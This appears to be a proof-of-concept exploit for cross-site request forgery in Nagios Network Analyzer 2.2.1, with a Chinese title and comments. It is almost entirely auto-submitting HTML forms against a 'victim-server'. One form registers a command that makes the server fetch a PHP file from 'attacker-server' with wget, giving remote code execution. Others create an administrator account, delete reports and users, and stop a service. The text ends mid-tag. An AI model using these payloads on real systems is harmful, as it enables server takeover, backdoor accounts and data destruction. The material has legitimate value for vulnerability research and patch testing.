Nagios(2.2.1) 网络监控多处 CSRF

<!-- php 文件任意代码执行--!> <form action=" http://victim-server/nagiosna/index.php/api/system/create_command" method="post"> <input type="hidden" name="name" value="pwn"> <input type="hidden" name="location" value="%2Fusr%2Fbin%2Fwget"> <input type="hidden" name="script" value="wget"> <input type="hidden" name="args" value="http%3A%2F%2Fattacker-server%2FRCE.php"> <script>document.forms[0].submit()</script> </form> <!--添加管理员帐户--!> <form action="http://victim-server/nagiosna/index.php/admin/users/create" method="post" accept-charset="utf-8"> <input type="text" name="first_name" value="CSRF"> <input type="text" name="last_name" value="ME"> <input type="text" name="company" value="PWN"> <input type="text" name="email" value="evil@abyss.com"> <input type="text" name="phone" value=""> <input type="text" name="username" value="HYP3RLINX"> <input type="password" name="password" value="abc123"> <input type="password" name="password2" value="abc123"> <input type="hidden" name="language" value="default" > <input type="hidden" name="account_type" id="account_type" value="local"> <input type="hidden" name="ldap_server" id="ldap_server"> <input type="hidden" name="ad_server" id="ad_server" value="1"> <input type="text" name="ad_username" id="ad_username"> <input type="text" name="dn" placeholder="cn=John Smith,dn=nagios,dc=com"> <input type="radio" name="group" value="1" checked="true" > <input type="radio" name="apiaccess" value="1" > <input type="radio" name="apiaccess" value="0" checked> <script>document.forms[0].submit()</script> </form> <!-- 产出报告（报告 id 已知）--!> <form action="http://victim-server/nagiosna/index.php/api/reports/delete" method="post"> <input type="hidden" name="q[rid]" value="9"> <script>document.forms[0].submit()</script> </form> <!--拒绝服务攻击--!> <form action="http://victim-server/nagiosna/index.php/api/system/stop" method="post"> <input type="hidden" name="sid" value="1"> <script>//document.forms[0].submit()</script> </form> <!--删除用户（用户 id 已知）--!> <form action="http://victim-server/nagiosna/index.php/admin/users/delete" method="post"> <input type="hidden" name="id" value="10"> <script>document.forms[0].submit()</script> </form